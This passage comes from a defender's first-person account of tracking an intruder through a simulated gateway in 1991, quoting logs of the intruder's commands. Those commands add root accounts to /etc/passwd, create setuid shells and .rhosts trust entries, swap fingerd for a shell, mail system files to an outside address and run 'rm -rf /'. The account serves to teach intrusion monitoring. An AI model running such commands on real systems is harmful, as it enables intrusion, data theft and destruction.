That evening, January 20, CNN was offering compelling shots of the Gulf War. A CNN bureau chief in Jerusalem was casting about for a gas mask. Scuds were flying. And my hacker returned:
22:33 finger attempt on berferd
He wanted to make sure that his target wasn't logged in. A couple of minutes later someone used the DEBUG command to submit commands to be executed as root -- he wanted our mailer to change our password file!
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd cp /bin/sh /tmp/shell chmod 4755 /tmp/shell
Again, the connection came from embezzle.stanford.edu.
What should I do? I didn't want to actually give him an account on our gateway. Why invite trouble? We would have no keystroke logs of his activity, and would have to clean up the whole mess later.
By sending him the password file five days before, I had simulated a poorly administered computer. Could I keep this up? I decided to string him along a little to see what other things he had in mind. I could emulate the operating system by hand, but I would have to teach him that the machine is slow, because I am no match for a MIPS M/120. It also meant that I would have to create a somewhat consistent simulated system, based on some decisions made up as I went along. I already had one Decision, because the attacker had received a password file: Ftp's password file was the real one.
Here were a couple more:
So I wanted him to think he had changed our password file, but didn't want to actually let him log in. I could create an account, but make it inoperable. How?
RISC/os (inet) login: b RISC/os (UMIPS) 4.0 inet Copyright 1986, MIPS Computer Systems All Rights Reserved Shell not found
The slow performance decision explained why it took about 10 minutes for the addition to the password file. I changed the b to beferdd in the real password file. While I was setting this up our friend tried again:
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
Here's another proposed addition to our password file. He must have put the space in after the login name because the previous command hadn't been "executed" yet, and he remembered the RFC 822 space in the file I sent him. Quite a flexible fellow, actually, even though he put the space before the colon instead of after it. He got impatient while I installed the new account:
22:45 talk email@example.com^Hford.edu talk firstname.lastname@example.org
The talk request had come from a different machine at Stanford. I notified them in case they didn't know, and checked for Scuds on the TV.
He had chosen to attack the berferd account. This name came from the old Dick Van Dyke show when Jerry Van Dyke called Dick "Berferd", "because he looked like one." It seemed like a good name for our hacker. (Perhaps it's a good solution to the "hacker"/"cracker" nomenclature problem. "A berferd got into our name server machine yesterday...")
There was a flurry of new probes. Apparently, Berferd didn't have cable TV.
22:48 Attempt to login with bferd from Tip-QuadA.Stanford.EDU 22:48 Attempt to login with bferd from Tip-QuadA.Stanford.EDU 22:49 Attempt to login with bferd from embezzle.Stanford.EDU 22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU) 22:51 Attempt to login with bferd from embezzle.Stanford.EDU 22:51 Attempt to login with bferd from embezzle.Stanford.EDU 22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd 22:57 (Added bfrd to the real password file.) 22:58 Attempt to login with bfrd from embezzle.Stanford.EDU 22:58 Attempt to login with bfrd from embezzle.Stanford.EDU 23:05 echo "18.104.22.168" >/dev/null echo "22.214.171.124 embezzle.stanford.edu">>/etc./^H^H^H 23:06 Attempt to login with guest from rice-chex.ai.mit.edu 23:06 echo "126.96.36.199 embezzle.stanford.edu" >> /etc/hosts 23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
Apparently he was trying to rlogin to our gateway. This requires appropriate entries in some local files. At the time we did not detect attempted rlogin commands. Berferd inspired new tools at our end, too.
23:09 Attempt to login with bfrd from embezzle.Stanford.EDU 23:10 Attempt to login with bfrd from embezzle.Stanford.EDU 23:14 mail email@example.com < /etc/inetd.conf ps -aux|mail firstname.lastname@example.org
Following the presumed failed attempts to rlogin, Berferd wanted our inetd.conf file to discover which services we did provide. I didn't want him to see the real one, and it was too much trouble to make one. The command was well formed, but I didn't want to do it.
23:28 echo "188.8.131.52 embezzle.stanford.edu" >> /etc/hosts echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts ps -aux|mail email@example.com mail firstname.lastname@example.org < /etc/inetd.conf
I didn't want him to see a ps output either. Fortunately, his BSD command switches wouldn't work on our System V machine.
At this point I called CERT. This was an extended attack, and there ought to be someone at Stanford tracing the call. (It turned out that it would take weeks to get an actual trace.) So what exactly does CERT do in these circumstances? Do they call the Feds? Roust a prosecutor? Activate an international phone tap network? What they did was log and monitor everything, and try to get me in touch with a system manager at Stanford. They seem to have a very good list of contacts.
By this time I had numerous windows on my terminal running tail -f on various log files. I could monitor Riyadh and all those daemons at the same time. The action resumed with FTP:
Jan 20 23:36:48 inet ftpd: <--- 220 inet FTP server (Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready. Jan 20 23:36:55 inet ftpd: -------> user bfrd^M Jan 20 23:36:55 inet ftpd: <--- 331 Password required for bfrd. Jan 20 23:37:06 inet ftpd: -------> pass^M Jan 20 23:37:06 inet ftpd: <--- 500 'PASS': command not understood. Jan 20 23:37:13 inet ftpd: -------> pass^M Jan 20 23:37:13 inet ftpd: <--- 500 'PASS': command not understood. Jan 20 23:37:24 inet ftpd: -------> HELP^M Jan 20 23:37:24 inet ftpd: <--- 214- The following commands are recognized (* =>'s unimplemented). Jan 20 23:37:24 inet ftpd: <--- 214 Direct comments to ftp-bugs@inet. Jan 20 23:37:31 inet ftpd: -------> QUIT^M Jan 20 23:37:31 inet ftpd: <--- 221 Goodbye. Jan 20 23:37:31 inet ftpd: Logout, status 0 Jan 20 23:37:31 inet inetd: exit 14437 Jan 20 23:37:41 inet inetd: finger request from 184.108.40.206 pid 14454 Jan 20 23:37:41 inet inetd: exit 14454 23:38 finger attempt on berferd 23:48 echo "220.127.116.11 embezzle.stanford.edu" >> /etc/hosts.equiv 23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b cp /bin/sh /usr/etc/fingerd
23:57 Attempt to login with bfrd from embezzle.Stanford.EDU 23:58 cp /bin/csh /usr/etc/fingerd
Csh wasn't in /bin either, so that command "failed."
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
OK. Fingerd worked again. Nice of Berferd to clean up.
00:14 passwd bfrt bfrt bfrt
Now he was trying to change the password. This would never work, since passwd reads its input from /dev/tty, not the shell script that sendmail would create.
00:16 Attempt to login with bfrd from embezzle.Stanford.EDU 00:17 echo "/bin/sh" > /tmp/Shell chmod 755 /tmp/shell chmod 755 /tmp/Shell 00:19 chmod 4755 /tmp/shell 00:19 Attempt to login with bfrd from embezzle.Stanford.EDU 00:19 Attempt to login with bfrd from embezzle.Stanford.EDU 00:21 Attempt to login with bfrd from embezzle.Stanford.EDU 00:21 Attempt to login with bfrd from embezzle.Stanford.EDU
At this point I was tired, and a busy night was over in the Middle East. I wanted to continue watching Berferd in the morning, but had to shut down our simulated machine until then.
I needed an excuse to shutdown the gateway. I fell back to a common excuse: disk problems. (I suspect that hackers may have formed the general opinion that disk drives are less reliable than they really are.) I waited until Berferd was sitting in one of those sleep commands, and wrote a message to him saying that the machine was having disk errors and would shut down until morning. This is a research machine, not production, and I actually could delay mail until the morning.
About half an hour later, just before retiring, I decided that Berferd wasn't worth the shutdown of late-night mail, and brought the machine back up.
Berferd returned later that night. Of course, the magic went away when I went to bed, but that didn't seem to bother him. He was hooked. He continued his attack at 00:40. The logs of his attempts were pathetic and tedious until this command was submitted for root to execute rm -rf /
01:55 rm -rf /&WHOA! Now it was personal! Obviously the machine's state was confusing him, and he wanted to cover his tracks.
We don't want a stranger in our living room, even if he does wipe his shoes.
He worked for a few more minutes, and gave up until morning.
07:12 Attempt to login with bfrd from embezzle.Stanford.EDU 07:14 rm -rf /& 07:17 finger attempt on berferd 07:19 /bin/rm -rf /& /bin/rm -rf /& 07:23 /bin/rm -rf /& 07:25 Attempt to login with bfrd from embezzle.Stanford.EDU 09:41 Attempt to login with bfrd from embezzle.Stanford.EDU